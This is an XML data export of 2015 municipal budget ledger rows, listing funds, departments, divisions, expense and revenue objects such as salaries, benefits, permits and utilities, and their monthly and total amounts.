<row _id="16610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408210.0</object><object_description>BIKE TECHNO DEMO-MTA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-232400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-232400.0</total></row>
<row _id="16611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-84602.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-84602.0</total></row>
<row _id="16612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563129.0</object><object_description>SENIOR CENTER OPERATIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>166500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166500.0</total></row>
<row _id="16613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>569340.0</object><object_description>EMERGENCY ACCOMODATIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
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<row _id="16615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7080.0</total></row>
<row _id="16616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3814.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3814.0</total></row>
<row _id="16617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>84884.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>84884.0</total></row>
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<row _id="16621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>111823.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111823.0</total></row>
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<row _id="16629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1971.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1971.0</total></row>
<row _id="16631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-45955.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-45955.0</total></row>
<row _id="16632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7553.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7553.0</total></row>
<row _id="16633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>731691.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>731691.0</total></row>
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<row _id="16637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-40147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40147.0</total></row>
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<row _id="16639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533010.0</object><object_description>PERSONAL PROTECTIVE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6005.0</total></row>
<row _id="16641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>310.0</total></row>
<row _id="16642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="16643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>581.0</total></row>
<row _id="16644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>201408.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>201408.0</total></row>
<row _id="16645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3666.0</total></row>
<row _id="16646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21132.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21132.0</total></row>
<row _id="16647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>564818.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>564818.0</total></row>
<row _id="16648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14098.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14098.0</total></row>
<row _id="16649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>570060.0</object><object_description>CITYWIDE MAINTENANCE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-119930.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-119930.0</total></row>
<row _id="16651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400610.0</object><object_description>USE OF PUBLIC PROPERTY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-517500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-517500.0</total></row>
<row _id="16652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400620.0</object><object_description>RESURFACING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-17794.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17794.0</total></row>
<row _id="16653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8293.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8293.0</total></row>
<row _id="16654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2833340.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2833340.0</total></row>
<row _id="16655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6677.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6677.0</total></row>
<row _id="16656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>155210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>155210.0</total></row>
<row _id="16658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401890.0</object><object_description>WIRELESS FACILITY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3700.0</total></row>
<row _id="16660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401400.0</object><object_description>UTILITY EXCAVATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-223960.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-223960.0</total></row>
<row _id="16661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="16687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2959.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2959.0</total></row>
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<row _id="16689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>288.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288.0</total></row>
<row _id="16690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="16692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567230.0</object><object_description>PFA 2011B (PSF)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1077575.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1077575.0</total></row>
<row _id="16693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-STREET LIGHTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1092521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1092521.0</total></row>
<row _id="16694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="16695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26031.0</total></row>
<row _id="16696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17700.0</total></row>
<row _id="16697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8410.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8410.0</total></row>
